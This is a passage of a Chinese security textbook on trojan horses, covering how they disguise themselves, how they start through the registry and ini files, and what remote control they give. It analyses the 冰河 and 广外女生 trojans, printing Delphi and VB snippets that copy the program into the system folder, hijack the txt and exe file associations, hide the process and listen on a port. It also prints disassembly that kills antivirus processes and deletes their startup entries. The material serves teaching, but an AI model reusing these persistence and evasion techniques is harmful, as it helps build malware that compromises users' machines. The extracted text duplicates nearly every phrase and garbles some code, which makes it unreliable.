203、种事情,就是记录受害者的键盘敲击,并且在情,就是记录受害者的键盘敲击,并且在LOG文件文件里做完整的记录。这种特洛伊木马随着里做完整的记录。这种特洛伊木马随着Windows的启的启动而启动,知道受害者在线并且记录每一件事。动而启动,知道受害者在线并且记录每一件事。4. 毁坏型木马毁坏型木马毁坏型木马的惟一功能是毁坏并且删除文件。该木马毁坏型木马的惟一功能是毁坏并且删除文件。该木马可以自动地删除计算机上的所有的可以自动地删除计算机上的所有的Dll或或INI或或EXE文文件。这是非常危险的特洛伊木马,一旦感染该木马而件。这是非常危险的特洛伊木马,一旦感染该木马而没有及时删除,计算机中的信息会在顷刻

204、间没有及时删除,计算机中的信息会在顷刻间“灰飞烟灰飞烟灭灭”。5. FTP型木马型木马FTP型木马能够打开计算机的型木马能够打开计算机的21端口(端口(FTP所使用的所使用的默认端口),使网络中的其他用户可以用一个默认端口),使网络中的其他用户可以用一个FTP客客户端程序而不用密码连接到计算机,并且可以进行最户端程序而不用密码连接到计算机,并且可以进行最高权限的上传下载。高权限的上传下载。1. 木马病毒的伪装方式木马病毒的伪装方式(1) 修改图标修改图标对木马程序的图标进行修改,从而伪装成其他类型的对木马程序的图标进行修改,从而伪装成其他类型的文件,以达到欺骗用户的目的。现在有的木马已经可文件

205、,以达到欺骗用户的目的。现在有的木马已经可以将木马服务端程序的图标改成以将木马服务端程序的图标改成HTML、TXT、ZIP等各种文件的图标,这有相当大的迷惑性,但是目前等各种文件的图标,这有相当大的迷惑性,但是目前提供这种功能的木马还不多见,并且这种伪装也不是提供这种功能的木马还不多见,并且这种伪装也不是无懈可击的,所以不必整天提心吊胆、疑神疑鬼的。无懈可击的,所以不必整天提心吊胆、疑神疑鬼的。 7.5.3 木马病毒的运行机制木马病毒的运行机制(2) 捆绑文件捆绑文件这种伪装手段是将木马捆绑到一个安装程序上,当安这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的情

206、况下,偷偷装程序运行时,木马在用户毫无察觉的情况下,偷偷地进入系统。被捆绑的文件通常是一些可执行文件。地进入系统。被捆绑的文件通常是一些可执行文件。 (3) 出错显示出错显示有一定木马知识的人都知道,如果打开一个文件,没有一定木马知识的人都知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序,木马的设计有任何反应,这很可能就是个木马程序,木马的设计者也意识到了这个缺陷,所以已经有木马提供了一个者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务端用户打开木马程序时,叫做出错显示的功能。当服务端用户打开木马程序时,会弹出一个错误提示框会弹出一个错误提示框(这当然是假的

207、这当然是假的),错误内容可,错误内容可自由定义,大多会定制成一些诸如自由定义,大多会定制成一些诸如“文件已破坏,无文件已破坏,无法打开!法打开!”之类的信息,当服务端用户信以为真时,之类的信息,当服务端用户信以为真时,木马却悄悄侵入了系统。木马却悄悄侵入了系统。(4) 定制端口定制端口很多老式的木马端口都是固定的,这给判断是否感染很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查一下特定的端口就知道感了木马带来了方便,只要查一下特定的端口就知道感染了什么木马,所以现在很多新式的木马都加入了定染了什么木马,所以现在很多新式的木马都加入了定制端口的功能,控制端用户可以在制端口的

208、功能,控制端用户可以在102465535之间任之间任选一个端口作为木马端口选一个端口作为木马端口(一般不选一般不选1024以下的端口以下的端口),这样就给判断所感染的木马类型带来了麻烦。,这样就给判断所感染的木马类型带来了麻烦。(5) 自我销毁自我销毁这项功能是为了弥补木马的一个缺陷。人们知道当服这项功能是为了弥补木马的一个缺陷。人们知道当服务端用户打开含有木马的文件后,木马会将自己复制务端用户打开含有木马的文件后,木马会将自己复制到到Windows的系统文件夹中,一般来说源木马文件和的系统文件夹中,一般来说源木马文件和系统文件夹中的木马文件的大小是一样的系统文件夹中的木马文件的大小是一样的(

209、捆绑文件捆绑文件的木马除外的木马除外),那么中了木马的系统只要在近来收到,那么中了木马的系统只要在近来收到的信件和下载的软件中找到源木马文件,然后根据源的信件和下载的软件中找到源木马文件,然后根据源木马的大小去系统文件夹找相同大小的文件,判断一木马的大小去系统文件夹找相同大小的文件,判断一下哪个是木马就行了。而木马的自我销毁功能是指安下哪个是木马就行了。而木马的自我销毁功能是指安装完木马后,源木马文件将自动销毁,这样服务端用装完木马后,源木马文件将自动销毁,这样服务端用户就很难找到木马的来源,在没有查杀木马的工具帮户就很难找到木马的来源,在没有查杀木马的工具帮助下,就很难删除木马了。助下,就很

210、难删除木马了。 (6) 木马更名木马更名安装到系统文件夹中的木马的文件名一般是固定的,安装到系统文件夹中的木马的文件名一般是固定的,那么只要根据一些查杀木马的文章,在系统文件夹查那么只要根据一些查杀木马的文章,在系统文件夹查找特定的文件。就可以断定中了什么木马。所以现在找特定的文件。就可以断定中了什么木马。所以现在有很多木马都允许控制端用户自由定制安装后的木马有很多木马都允许控制端用户自由定制安装后的木马文件名,这样很难判断所感染的木马类型了。文件名,这样很难判断所感染的木马类型了。2. 木马病毒的触发条件木马病毒的触发条件(1) 修改注册表,将启动木马的触发条件放入某一修改注册表,将启动木马

211、的触发条件放入某一注册表项下。这些注册表项常常是注册表项下。这些注册表项常常是HKEY_LOCAL_MACHINE Software Microsoft Windows CurrentVersion下的下的5个以个以Run和和RunServices作为主键的项,放入触发条件后就可以作为主键的项,放入触发条件后就可以作为启动木马的键值。作为启动木马的键值。同样,修改注册表项同样,修改注册表项HKEY_CLASSES_ROOT文件文件类型类型shellopencommand下的键值,将其改为某一木下的键值,将其改为某一木马程序的启动命令,那么该项马程序的启动命令,那么该项“文件类型文件类型”所对应

212、的所对应的该类任一文件都成为该木马程序的触发条件了。例如,该类任一文件都成为该木马程序的触发条件了。例如,国产木马国产木马“冰河冰河”病毒程序就是修改病毒程序就是修改HKEY_CLASSES_ROOT txtfile shell open command下的键值,将下的键值,将“C :WINDOWS NOTEPAD.exe %1”改为改为“C:WINDOWS SYSTEM SYSEXPLR.exe %1”,这时,只要双击某一个,这时,只要双击某一个txt文文件,则原本应用件,则原本应用Notepad打开的文件,现在却变成启打开的文件,现在却变成启动木马程序了。动木马程序了。(2) 利用利用WI

213、N.INI:C:WINDOWS目录下的配置文目录下的配置文件件win.ini,在该文件的,在该文件的windows字段中有启动命令字段中有启动命令“load=”和和“run=”,一般情况下是空白的,将木,一般情况下是空白的,将木马程序启动命令写入,则在马程序启动命令写入,则在Windows启动时即可触发启动时即可触发木马。木马。(3) 利用利用SYSTEM.ini:C:WINDOWS目录下的配置目录下的配置文件文件system.ini,将木马程序的启动命令以命令行的,将木马程序的启动命令以命令行的方式写入该配置文件的方式写入该配置文件的386Enh或或mic或或drivers32段中,这也是木

214、马的一种触发方式。段中,这也是木马的一种触发方式。(4) 利用在利用在C盘根目录下的盘根目录下的Autoexec.bat和和Config.sys这两个文件也可以启动木马。但这种加载这两个文件也可以启动木马。但这种加载方式一般都需要控制端用户与服务端建立连接后,将方式一般都需要控制端用户与服务端建立连接后,将已添加木马启动命令的同名文件上传到服务端覆盖这已添加木马启动命令的同名文件上传到服务端覆盖这两个文件才行。两个文件才行。(5) 利用应用程序的启动配置文件利用应用程序的启动配置文件*.ini能启动程能启动程序的特点,在控制端将制作好的带有木马启动命令的序的特点,在控制端将制作好的带有木马启动

215、命令的同名文件上传到服务端覆盖同名文件,达到启动木马同名文件上传到服务端覆盖同名文件,达到启动木马的目的。的目的。(6) 捆绑文件:实现这种触发条件首先要控制端和捆绑文件:实现这种触发条件首先要控制端和服务端已通过木马建立连接,然后控制端用户用工具服务端已通过木马建立连接,然后控制端用户用工具软件将木马文件和某一应用程序捆绑在一起,然后上软件将木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使木马被删除了,只传到服务端覆盖原文件,这样即使木马被删除了,只要运行捆绑了木马的应用程序,木马又会被安装上去要运行捆绑了木马的应用程序,木马又会被安装上去了。了。(7) 利用启动菜单:

216、在利用启动菜单:在“开始开始程序程序启动启动”选项选项下也可能作为木马的触发条件。下也可能作为木马的触发条件。3. 木马病毒的运行机制木马病毒的运行机制木马程序为了能在每次开机的时候进入内存发挥作用,木马程序为了能在每次开机的时候进入内存发挥作用,主要手法是加载到注册表的启动组中,也有些会捆绑主要手法是加载到注册表的启动组中,也有些会捆绑到其他程序中附带进入内存,这些被捆绑程序在计算到其他程序中附带进入内存,这些被捆绑程序在计算机启动的时候机启动的时候Windows自动运行的,也有用户自己需自动运行的,也有用户自己需要而运行的。要而运行的。当木马在计算机中存在的时候,黑客就可以通过控制当木马在

217、计算机中存在的时候,黑客就可以通过控制器命令木马做事情了。这些命令是在网络上传递的,器命令木马做事情了。这些命令是在网络上传递的,需要遵守需要遵守TCP/IP协议。协议。TCP/IP协议规定计算机的端协议规定计算机的端口有口有256256=65536个,从个,从0到到65535号端口,木马打号端口,木马打开一个或者几个端口,黑客所使用的控制器就可通过开一个或者几个端口,黑客所使用的控制器就可通过这些端口进入远程用户的计算机。这些端口进入远程用户的计算机。这些端口好像这些端口好像“后门后门”一样,所以,特洛伊木马也叫一样,所以,特洛伊木马也叫做后门工具。每个木马所打开的端口不同,根据端口做后门工

218、具。每个木马所打开的端口不同,根据端口号,可以识别不同的木马,比如号,可以识别不同的木马,比如NETSPY木马的端口木马的端口是是7306,SUB7的端口是的端口是1243,但是,有些木马的端,但是,有些木马的端口号是可以改变的,比如口号是可以改变的,比如SUB7,黑客通过控制器可,黑客通过控制器可以将端口号改变成以将端口号改变成12345等号码。等号码。木马被激活后,进入内存,并开启事先定义的木马端木马被激活后,进入内存,并开启事先定义的木马端口,准备与控制端建立连接。这时服务端用户可以在口,准备与控制端建立连接。这时服务端用户可以在MS-DOS方式下,键入方式下,键入NETSTART-AN

219、查看端口状态,查看端口状态,一般计算机在脱机状态下是不会有端口开放的,如果一般计算机在脱机状态下是不会有端口开放的,如果有端口开放,就要注意是否感染木马了。有端口开放,就要注意是否感染木马了。在上网过程中,下载软件、发送信件、网上聊天等必在上网过程中,下载软件、发送信件、网上聊天等必然打开一些端口。下面是一些常用的端口:然打开一些端口。下面是一些常用的端口: 11024之间的端口:这些端口叫保留端口,是专给一之间的端口:这些端口叫保留端口,是专给一些对外通信的程序用的,如些对外通信的程序用的,如FTP使用使用21、SMTP使用使用25、POP3使用使用110等。只有很少木马会用保留端口作等。只

220、有很少木马会用保留端口作为木马端口的。为木马端口的。1025以上的连续端口:在上网浏览网站时,浏览器会以上的连续端口:在上网浏览网站时,浏览器会打开多个连续的端口下载文字、图片到本地硬盘上,打开多个连续的端口下载文字、图片到本地硬盘上,这些端口都是这些端口都是1025以上的连续端口。以上的连续端口。4000端口:端口:OICQ的通信端口。的通信端口。6667端口:端口:IRC的通信端口。的通信端口。除上述的端口基本可以排除在外,如发现还有其他端除上述的端口基本可以排除在外,如发现还有其他端口打开,尤其是数值比较大的端口,那就要怀疑是否口打开,尤其是数值比较大的端口,那就要怀疑是否感染了木马,当

221、然如果木马有定制端口的功能,那任感染了木马,当然如果木马有定制端口的功能,那任何端口都有可能是木马端口。何端口都有可能是木马端口。一般来说,设计成熟的木马都有一个信息反馈机制。一般来说,设计成熟的木马都有一个信息反馈机制。所谓信息反馈机制是指木马成功安装后会收集一些服所谓信息反馈机制是指木马成功安装后会收集一些服务端的软硬件信息,并通过务端的软硬件信息,并通过E-mail、IRC或或ICO的方的方式告知控制端用户。式告知控制端用户。一个木马连接的建立首先必须满足两个条件:一是服一个木马连接的建立首先必须满足两个条件:一是服务端已安装了木马程序;二是控制端和服务端都要在务端已安装了木马程序;二是

222、控制端和服务端都要在线。在此基础上控制端可以通过木马端口与服务端建线。在此基础上控制端可以通过木马端口与服务端建立连接。立连接。木马连接建立后,控制端端口和木马端口之间将会出木马连接建立后,控制端端口和木马端口之间将会出现一条通道。现一条通道。控制端上的控制端程序可借这条通道与服务端上的木控制端上的控制端程序可借这条通道与服务端上的木马程序取得联系,并通过木马程序对服务端进行远程马程序取得联系,并通过木马程序对服务端进行远程控制。这时控制端即可享有下列控制权限。控制。这时控制端即可享有下列控制权限。(1) 窃取口令:一切以明文的形式、窃取口令:一切以明文的形式、“*”形式或缓存形式或缓存在在c

223、ache中的口令都能被木马侦测到,此外很多木马中的口令都能被木马侦测到,此外很多木马还提供有击键记录功能,它将会记录服务端每次敲击还提供有击键记录功能,它将会记录服务端每次敲击键盘的动作,所以一旦有木马入侵,口令将很容易被键盘的动作,所以一旦有木马入侵,口令将很容易被窃取。窃取。(2) 文件操作:控制端可借远程控制对服务端上的文文件操作:控制端可借远程控制对服务端上的文件进行删除、新建、修改、上传、下载、运行、更改件进行删除、新建、修改、上传、下载、运行、更改属性等一系列操作,基本涵盖了属性等一系列操作,基本涵盖了Windows平台上所有平台上所有的文件操作功能。的文件操作功能。 (3) 修改

224、注册表:控制端可任意修改服务端注册表,修改注册表:控制端可任意修改服务端注册表,包括删除、新建或修改主键、子键、键值。有了这项包括删除、新建或修改主键、子键、键值。有了这项功能控制端就可以禁止服务端软驱,光驱的使用,锁功能控制端就可以禁止服务端软驱,光驱的使用,锁住服务端的注册表,将服务端上木马的触发条件设置住服务端的注册表,将服务端上木马的触发条件设置得更隐蔽一系列高级操作。得更隐蔽一系列高级操作。 (4) 系统操作:这项内容包括重启或关闭服务端操作系统操作:这项内容包括重启或关闭服务端操作系统,断开服务端网络连接,控制服务端的鼠标,键系统,断开服务端网络连接,控制服务端的鼠标,键盘,监视服

225、务端桌面操作,查看服务端进程等,控制盘,监视服务端桌面操作,查看服务端进程等,控制端甚至可以随时给服务端发送信息,想像一下,当服端甚至可以随时给服务端发送信息,想像一下,当服务端的桌面上突然跳出一段话,不吓人一跳才怪呢。务端的桌面上突然跳出一段话,不吓人一跳才怪呢。1. 冰河冰河“冰河冰河”是有名的用是有名的用C+ Builder编写的国产远程管编写的国产远程管理软件,其自我保护功能很强,主要由病毒安装模块、理软件,其自我保护功能很强,主要由病毒安装模块、端口控制和通信模块、远程控制模块等程序模块组成。端口控制和通信模块、远程控制模块等程序模块组成。7.5.4 典型木马病毒分析典型木马病毒分析

226、病毒安装模块一般会把自己隐藏起来运行,安装方式病毒安装模块一般会把自己隐藏起来运行,安装方式通常有下列通常有下列4种:自我复制法、资源文件法、网页方种:自我复制法、资源文件法、网页方式安装、类病毒捆绑法式安装、类病毒捆绑法(如如YAI)。自我复制法适用于。自我复制法适用于本身就一个文件;资源文件法可以同时安装好几个文本身就一个文件;资源文件法可以同时安装好几个文件;网页方式安装要先向微软交费换安全签证;类病件;网页方式安装要先向微软交费换安全签证;类病毒捆绑法利用了病毒的原理。毒捆绑法利用了病毒的原理。“冰河冰河”病毒中采用的自我复制法是在程序运行时先病毒中采用的自我复制法是在程序运行时先查看

227、自己是不是在特定目录下,如果是就继续运行,查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己复制到特定目录下,然后运行新程如果不是就把自己复制到特定目录下,然后运行新程序,退出旧程序。可以利用下列代码段完成此功能。序,退出旧程序。可以利用下列代码段完成此功能。procedure TFORM1.FORMCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); /获得文获得文件名件名 if application.ExenameGetWindir+

228、myname then /判断文件判断文件是否在是否在WindowsSystem下下begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);将自己复制到将自己复制到WindowsSystem下下 Winexec(pchar(GetWindir + myname), sw_hide);/运行运行WindowsSystem下的新文件下的新文件 application.Terminate;/退出退出 end; end; 其中其中GetWinDir是自定义函数,功能是找出是自定义函数,功能是找出Windo

229、wsSystem的路径。的路径。 function GetWinDir: String; var Buf: array0MAX_PATH of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if ResultLength(Result) then Result := Result + ; end; 为保证程序能在为保证程序能在Windows每次启动时自动运行,必须每次启动时自动运行,必须修改注册表项。部分代码如下:修改注册表项。部分代码如下:RootKey := HKEY_LOCAL_MACHINE; OpenKey

230、( K, TRUE ); WriteString( syspler, application.ExeName ); 为隐藏自身运行,在为隐藏自身运行,在implementation后添加声明后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external KERNEL32.DLL; 则在则在Windows的任务管理器看不到该病毒的运行。的任务管理器看不到该病毒的运行。“冰河冰河”的自我功能保护很强,它一般通过的自我功能保护很强,它一般通过txt或或exe文件关联来达到

231、自我恢复。所以有很多情况下明明感文件关联来达到自我恢复。所以有很多情况下明明感觉把它杀掉了,但重新启动时又会出现。这可由下面觉把它杀掉了,但重新启动时又会出现。这可由下面的代码实现的(以的代码实现的(以txt文件关联为例)。文件关联为例)。with TRegistry.Create do /写注册表写注册表,让程序跟文本文件关联让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); Write by Lovejingtao,http:/ WriteString( , application.ExeName+ %1 );

232、Write by Lovejingtao, finally free; if FileExists(pchar(Getwindir+Sysplay.exe)=false then/如果如果文件已经删除文件已经删除 begin copyfile;/自定义复制资源文件过程自定义复制资源文件过程 winexec(pchar(Getwindir+Sysplay.exe),sw_hide); end; if ParamCount 0 then begin (*有执行参数传入有执行参数传入 *) sFileName:=ParamStr(1); (*取得参数内容取得参数内容 *) winexec(pchar

233、(Notepad.exe +sFileName),sw_show);(*用记事用记事本打开本打开*) /winexec(pchar( sFileName),sw_show); end; 冰河使用冰河使用Winsock控件来编写网络客户服务程序。该控件来编写网络客户服务程序。该部分代码首先用部分代码首先用G_Server. LocalPort = 7626(冰河的(冰河的默认端口,可以改为别的值)在网络服务端打开一端默认端口,可以改为别的值)在网络服务端打开一端口,并进行监听(口,并进行监听(G_Server.Listen),在客户端设置),在客户端设置G_Client.RemoteHost=S

234、erverIP(设远端地址为服务(设远端地址为服务器地址)和器地址)和G_Client.RemotePort=7626(设远程端口(设远程端口为冰河的默认端口),并用为冰河的默认端口),并用G_Client.Connect (调用调用Winsock控件的连接方法控件的连接方法)向服务器端口提出链接请求向服务器端口提出链接请求(Connect Request),一旦服务端接到客户端的链接请,一旦服务端接到客户端的链接请求,就接受连接,执行如下代码:求,就接受连接,执行如下代码:Private Sub G_Server_ConnectionRequest(ByVal request ID As L

235、ong) G_Server.AcceptrequestIDEnd Sub客户机端用客户机端用G_Client.SendData发送命令,而服务器发送命令,而服务器在在G_Server_DateArrive事件中接受并执行命令(几事件中接受并执行命令(几乎所有的木马功能都在这个事件处理程序中实现)。乎所有的木马功能都在这个事件处理程序中实现)。如果客户断开连接,则关闭连接并重新监听端口:如果客户断开连接,则关闭连接并重新监听端口: Private Sub G_Server_Close()G_Server.Close(关闭连接关闭连接)G_Server.Listen(再次监听再次监听)End Su

236、b其他的部分可以用命令传递来进行,客户端上传一个其他的部分可以用命令传递来进行,客户端上传一个命令,服务端解释并执行命令。命令,服务端解释并执行命令。远程控制模块主要是利用远程控制模块主要是利用Windows API,完成下列功,完成下列功能:能:进行远程监控:控制远程计算机鼠标、键盘,并监视进行远程监控:控制远程计算机鼠标、键盘,并监视对方屏幕。对方屏幕。记录各种口令信息。记录各种口令信息。获取系统信息:偷取远程计算机名(调用获取系统信息:偷取远程计算机名(调用GetComputerName)、当前用户名(调用)、当前用户名(调用GetUserName函数)、更改计算机名(调用函数)、更改计

237、算机名(调用SetComputerName)、设置系统路径(建立文件系)、设置系统路径(建立文件系统对象:统对象:Set FileSystemObject=CreateObject(“Scripting.FileSystemObject”);获取系统目录:;获取系统目录:Set SystemDir=FileSystemObject.getspecialfolder(1);获取获取Windows安装目录:安装目录:Set SystemDir=FileSystemObject.getspecialfolder(0))、)、取得系统版本(调用取得系统版本(调用GetVersionEx)、取得当前显示

238、)、取得当前显示分辨率(分辨率(Width=screen.Widthscreen.TwipsPerPixelX;Height=screen.Heighscreen.TwipsPerPixel Y)。)。 限制系统功能:调用限制系统功能:调用WinAPI中的中的ExitWindowsEx(ByVal uFlags,X)函数函数PUGM远程关远程关机或重启计算机、调用机或重启计算机、调用SendMessage函数关闭窗口、函数关闭窗口、用用ExitProcess来终止进程、用来终止进程、用RasHangUp来让对方来让对方掉线、另外还可以锁定鼠标、锁定系统等。掉线、另外还可以锁定鼠标、锁定系统等。

239、远程文件操作。远程文件操作。注册表操作。注册表操作。发送信息。发送信息。点对点通信。点对点通信。换墙纸。换墙纸。2. “广外女生广外女生”木马的分析木马的分析这个木马是广东外语外贸大学这个木马是广东外语外贸大学“广外女生广外女生”网络小组网络小组的作品,它可以运行于的作品,它可以运行于Windows 98、Windows 98SE、Windows Me、Windows NT和和Windows 2000或已经或已经安装安装Winsock 2.0的的Windows 95/97上。与以往的木马上。与以往的木马相比,它具有体积更小、隐藏更为巧妙的特点。相比,它具有体积更小、隐藏更为巧妙的特点。 该木马

240、启动方法与一般普通木马不太一样,一般的木该木马启动方法与一般普通木马不太一样,一般的木马是在马是在HKLMSOFTWARE MicrosoftWindowsCurrentVersionRun*键里增加一键里增加一个键值,使自己能够自启动,但这种方法被杀毒软件个键值,使自己能够自启动,但这种方法被杀毒软件所熟知,所以很容易被查杀。而所熟知,所以很容易被查杀。而“广外女生广外女生”这个木这个木马就比较狡猾,它把启动项设在了马就比较狡猾,它把启动项设在了HKEY_LOCAL_MACHINESOFTWAREClassesexefileshellopencommand下,该注册表项的作用是下,该注册表项

241、的作用是定义运行可执行文件的格式。定义运行可执行文件的格式。木马将木马将HKEY_LOCAL_MACHINE SOFTWAREClassesexefileshellopencommand下下的键值的键值“%1 %*”修改为修改为“C:WINNT System32diagcfg.exe%1 %*”,在新的键值下,含,在新的键值下,含有木马留在系统中的后门程序有木马留在系统中的后门程序diagcfg.exe,木马驻留,木马驻留在在C:WINNTSystem32目录下。因此,修改之后每目录下。因此,修改之后每次再运行任何可执行文件时都要先运行次再运行任何可执行文件时都要先运行C:WINNTSyste

242、m32diagcfg.exe这个程序,启动木这个程序,启动木马。马。木马程序监听在木马程序监听在TCP的的6267号端口上。号端口上。“广外女生广外女生”使用压缩软件进行加壳,加壳后的服务器端只有使用压缩软件进行加壳,加壳后的服务器端只有96KB,加壳前的原始文件为,加壳前的原始文件为gwns.exe,大小为,大小为194KB。部分代码如下:。部分代码如下: 0042B1AC pushoffset aKernel32_dll ; kernel32.dll 0042B1B1 callj_LoadLibraryA 0042B1B6 mov ebx, eax 0042B1B8 pushoffset

243、aRegisterservic ; RegisterServiceProcess 0042B1BD mov eax, ebx 0042B1BF pusheax 0042B1C0 callj_GetProcAddress 0042B1C5 mov ds:dword_42EA5C, eax 0042B1CA cmp ds:dword_42EA5C, 0 0042B1D1 jz short loc_42B1E1 0042B1D3 push1 0042B1D5 callj_GetCurrentProcessId 0042B1DA pusheax 0042B1DB callds:dword_42EA5C

244、 0042B271 mov eax, ds:dword_42EA80 0042B276 mov edx, offset aSnfw_exe ; snfw.exe 0042B27B callsub_403900 0042B280 jz short loc_42B293 0042B282 mov eax, ds:dword_42EA80 0042B287 mov edx, offset aKav9x_exe ; kav9x.exe 0042B6AD pushebx 0042B6AE push0 0042B6B0 push00042B6B2 pushoffset aSoftwareMicr_0 ;

245、SoftwareMicrosoftWindowsCurrentVersi. 0042B6B7 push80000002h 0042B6BC callj_RegOpenKeyExA_0 0042B6C1 pushoffset aKingsoftAntivi ; Kingsoft AntiVirus 0042B6C6 mov eax, ebx 0042B6C8 pusheax 0042B6C9 callj_RegDeleteValueA 0042B6CE mov eax, ebx 0042B6D0 pusheax 0042B6D1 callj_RegCloseKey_0 0042B820 mov

246、dword ptr esi, 100h 0042B826 pushesi 0042B827 pushedi 0042B828 pushoffset a_exe_1 ; .exe 0042B82D push80000000h 0042B832 callj_RegQueryValueA 0042B837 push8 0042B839 pushoffset a1; %1 %* 0042B83E push1 0042B840 lea eax, ebp+var_10 0042B843 mov edx, edi 0042B845 mov ecx, 100h 0042B84A callsub_4037A0

247、0042B84F lea eax, ebp+var_10 0042B852 mov edx, offset aShellOpenComma ; shellopencommand 0042B857 callsub_4037F8 0042B85C mov eax, ebp+var_10 0042B85F callsub_4039A4 0042B864 pusheax 0042B865 push80000000h 0042B86A callj_RegSetValueA 0042B86F push0 0042B871 mov eax, ds:dword_42D040 0042B876 mov eax,

248、 eax 0042B878 pusheax 0042B879 callj_WinExec木马首先加载木马首先加载kernel32.dll,然后利用,然后利用GetProcAddress来得到来得到RegisterServiceProcess这个这个API的地址,木马首先需要把自己注册为系统服务,的地址,木马首先需要把自己注册为系统服务,这样在这样在Windows 9x下运行时就不容易被任务管理器下运行时就不容易被任务管理器发现。然后它会发现。然后它会GetCommandLineA来得到运行参数,来得到运行参数,如果参数是可执行文件的话就调用如果参数是可执行文件的话就调用Winexec来运行。来

249、运行。然后木马会查找然后木马会查找snfw.exe和和kav9x.exe的进程,也就是的进程,也就是“天网防火墙天网防火墙”或或“金山毒霸金山毒霸”的进程,然后将其杀的进程,然后将其杀掉。并且木马还会修改掉。并且木马还会修改“天网防火墙天网防火墙”或或“金山毒霸金山毒霸”在注册表中的启动项,使其在下次系统重新启动时在注册表中的启动项,使其在下次系统重新启动时无法自动运行。无法自动运行。 接下来就是修改木马的注册表启动项,即接下来就是修改木马的注册表启动项,即HKEY_LOCAL_MACHINE SOFTWARE Classes exefile shell open command项,使其能够在

250、每次系项,使其能够在每次系统重新启动时能够自行启动。接下来木马就会初始化统重新启动时能够自行启动。接下来木马就会初始化Winsock dll、绑定端口、等待木马客户端的连接。、绑定端口、等待木马客户端的连接。手机病毒是一类计算机程序,可利用发送普通短信、手机病毒是一类计算机程序,可利用发送普通短信、彩信、上网浏览、下载软件、铃声等方式,实现网络彩信、上网浏览、下载软件、铃声等方式,实现网络到手机、或者手机与手机之间传播,具有类似计算机到手机、或者手机与手机之间传播,具有类似计算机病毒的危害后果,包括病毒的危害后果,包括“软软”伤害伤害(如死机、关机、如死机、关机、删除存储的资料、向外发送垃圾邮

251、件、拨打电话等删除存储的资料、向外发送垃圾邮件、拨打电话等)和和“硬硬”伤害伤害(损毁损毁SIM卡、芯片等硬件损坏卡、芯片等硬件损坏)。7.6 手机(手机(GSM)病毒分析)病毒分析手机病毒初次登场是在手机病毒初次登场是在2000年年6月,世界上第一个手月,世界上第一个手机病毒机病毒VBS.Timofonica在西班牙出现。这个新病毒通在西班牙出现。这个新病毒通过运营商过运营商Telefonica的移动系统向该系统内的任意用的移动系统向该系统内的任意用户发送骂人的短消息,这种攻击模式类似于邮件炸弹,户发送骂人的短消息,这种攻击模式类似于邮件炸弹,它通过短信服务运营商提供的路由可以向任何用户发它

252、通过短信服务运营商提供的路由可以向任何用户发送大量垃圾信息或者广告,在大众眼里,这种短信炸送大量垃圾信息或者广告,在大众眼里,这种短信炸弹充其量也只能算是恶作剧而已。弹充其量也只能算是恶作剧而已。 7.6.1 手机病毒概述手机病毒概述虽然已经在不少手机上发现了安全问题,但真正意义虽然已经在不少手机上发现了安全问题,但真正意义上的手机病毒仍很少见,这并不是因为没有人愿意写,上的手机病毒仍很少见,这并不是因为没有人愿意写,而是存在着不少困难:而是存在着不少困难: (1) 手机操作系统是专有操作系统,不对普通用户手机操作系统是专有操作系统,不对普通用户开放,不像计算机操作系统,容易学习、调试和程序开

253、放,不像计算机操作系统,容易学习、调试和程序编写,而且它所使用的芯片等硬件也都是专用的,平编写,而且它所使用的芯片等硬件也都是专用的,平时很难接触到。时很难接触到。(2) 手机系统中可以手机系统中可以“写写”的地方太少,在以前的的地方太少,在以前的手机中,用户是不可以向手机里面写数据的,惟一可手机中,用户是不可以向手机里面写数据的,惟一可以保存数据的只有以保存数据的只有SIM卡,其中只有卡,其中只有Telecom Dirextory是可以保存数据的,而这么一点容量要想是可以保存数据的,而这么一点容量要想保存一个可以执行的程序非常困难,况且保存的数据保存一个可以执行的程序非常困难,况且保存的数据

254、还要绕过还要绕过SIM卡的格式。卡的格式。(3) 以前手机接收的数据基本上都是文本格式数据,以前手机接收的数据基本上都是文本格式数据,其中文本格式也是计算机系统中最难附带病毒的文件其中文本格式也是计算机系统中最难附带病毒的文件格式,同样在手机系统中,病毒也很难附加在文本内格式,同样在手机系统中,病毒也很难附加在文本内容上。容上。但是,随着时代的发展,新的病毒、蠕虫的威胁会不但是,随着时代的发展,新的病毒、蠕虫的威胁会不断出现,这就有可能影响到众多手持设备,日益普及断出现,这就有可能影响到众多手持设备,日益普及的移动数据业务成为这些病毒滋生蔓延的温床,因此的移动数据业务成为这些病毒滋生蔓延的温床

255、,因此在今日越来越多的谈论手机短信、手机邮件、手机铃在今日越来越多的谈论手机短信、手机邮件、手机铃声及图片的时候,随之而来的是,人们将会看到一些声及图片的时候,随之而来的是,人们将会看到一些应用程序及插件也随之在手机上出现,就会有和计算应用程序及插件也随之在手机上出现,就会有和计算机一样面临病毒的威胁,一些病毒可以利用手机芯片机一样面临病毒的威胁,一些病毒可以利用手机芯片程序的缺陷,对手机操作系统进行攻击。程序的缺陷,对手机操作系统进行攻击。特别是随着手机行业的快速发展和基于手机的应用不特别是随着手机行业的快速发展和基于手机的应用不断增多,手机病毒不多见的局面已经开始发生变化,断增多,手机病毒

256、不多见的局面已经开始发生变化,这主要在于在手机设计制造过程中引进了一些新技术,这主要在于在手机设计制造过程中引进了一些新技术,特别是由于以下原因,为手机病毒的产生、保存、传特别是由于以下原因,为手机病毒的产生、保存、传播都创造了条件,因此手机病毒的出现和发展也仅仅播都创造了条件,因此手机病毒的出现和发展也仅仅只是时间问题而已。只是时间问题而已。 (1) KJAVA大量运用于手机,使得编写用于手机大量运用于手机,使得编写用于手机的程序越来越容易,一个普通的的程序越来越容易,一个普通的Java程序员甚至都可程序员甚至都可以编写出能传播的病毒程序。以编写出能传播的病毒程序。(2) 基于基于Symbi

